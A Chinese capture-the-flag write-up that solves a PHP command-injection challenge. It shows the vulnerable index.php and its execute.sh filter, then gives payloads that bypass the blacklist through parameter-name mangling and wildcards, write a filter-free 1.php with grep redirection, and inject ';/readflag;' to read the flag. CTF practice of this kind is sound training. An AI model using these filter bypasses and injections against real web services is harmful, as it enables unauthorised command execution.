zako

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

//something hide here

$cmd = $_REQUEST["__secret.xswl.io"];
if (strlen($cmd)>70) {
die("no, >70");
}
die("你就不能绕一下喵");
}

system("./execute.sh '".$cmd."'");

?>

execute.sh源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/bin/bash

reject() {
echo "${1}"
exit 1
}

XXXCMD=$1

awk -v str="${XXXCMD}" '
BEGIN {
deny="`;&$(){}[]!@#$%^&*-";
for (i = 1; i <= length(str); i++) {
char = substr(str, i, 1);

for (x = 1; x < length(deny) + 1; x++) {
r = substr(deny, x, 1);
if (char == r) exit 1;
}
}
}
'

[ $? -ne 0 ] && reject "NOT ALLOW 1"

eval_cmd=$(echo "${XXXCMD}" | awk -F "|" '
BEGIN {
allows[1] = "ls";
allows[2] = "makabaka";
allows[3] = "whoareu";
allows[4] = "cut~no";
allows[5] = "grep";
allows[6] = "wc";
allows[7] = "杂鱼杂鱼";
allows[8] = "netstat.jpg";
allows[9] = "awsl";
allows[10] = "dmesg";
allows[11] = "xswl";
}{
num = 1;
for (i = 1; i <= NF; i++) {
for (x = 1; x <= length(allows); x++) {
cmpstr = substr($i, 1, length(allows[x]));
if (cmpstr == allows[x])
eval_cmd[num++] = $i;
}
}
}
END {
for (i = 1; i <= length(eval_cmd); i++) {
if (i != 1)
printf "| %s", eval_cmd[i];
else
printf "%s", eval_cmd[i];
}
}'
)

[ "${XXXCMD}" = "" ] && reject "NOT ALLOW 2"

eval ${eval_cmd}

这是一个sh脚本,设置了11个白名单
其实有用的也就3个wc、ls、grep

  • wc:查看文件行数情况,不可以读取内容
  • grep:读取文件内容
  • ls:列出目录

题设背景交代好了,接下来分析一下

我们发现开始的源码是有隐藏的,利用白名单中的函数先读取一下网页源码

先ls出来文件结构,发现excute.shindex.php并且ls /出来发现flag和readflag两个可能藏有答案的文件

那么首先可以先获取出隐藏部分的源码:/?.[secret.xswl.io=grep "" ?ndex.php(其中通过fuzz发现index被过滤所以通配符绕过一下)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

//something hide here
highlight_string(shell_exec("cat ".__FILE__." | grep -v preg_match | grep -v highlight"));

$cmd = $_REQUEST["__secret.xswl.io"];
if (strlen($cmd)>70) {
die("no, >70");
}
if (preg_match("/('|`|\n|\t|\\\$|~|@|#|;|&|\\||-|_|\\=|\\*|!|\\%|\\\^|index|execute')/is",$cmd)){
die("你就不能绕一下喵");
}

system("./execute.sh '".$cmd."'");

?>

那么在shell环境中的黑名单以及sh脚本中的白名单的双重waf正常直接执行命令很难达到目的

我们考虑是否可以绕过sh脚本执行,在自创的php文件中执行命令呢,payload如下:

?.[secret.xswl.io=grep "<?php" ?ndex.php >> 1.php(意思是利用grep读取题目源码:index.php中的含”<?php”行的内容写入1.php,以下同理)
?.[secret.xswl.io=grep "highlight" ?ndex.php >> 1.php
?.[secret.xswl.io=grep "REQUEST" ?ndex.php >> 1.php
?.[secret.xswl.io=grep "system" ?ndex.php >> 1.php

这样下来我们就成功构造了一个php文件(不写入黑名单过滤那行代码)以便于我们在其中执行命令:

1
2
3
4
5
6
7
8
<?php
highlight_string(shell_exec("cat ".__FILE__." | grep -v preg_match | grep -v highlight"));

$cmd = $_REQUEST["__secret.xswl.io"];

system("./execute.sh '".$cmd."'");

?>

接下来闭合后在1.php中执行命令,payload:/1.php?.[secret.xswl.io=ls';cat /flag'

发现是假flag,那么就尝试利用system执行readflag文件,最终payload:/1.php?.[secret.xswl.io=ls';/readflag;'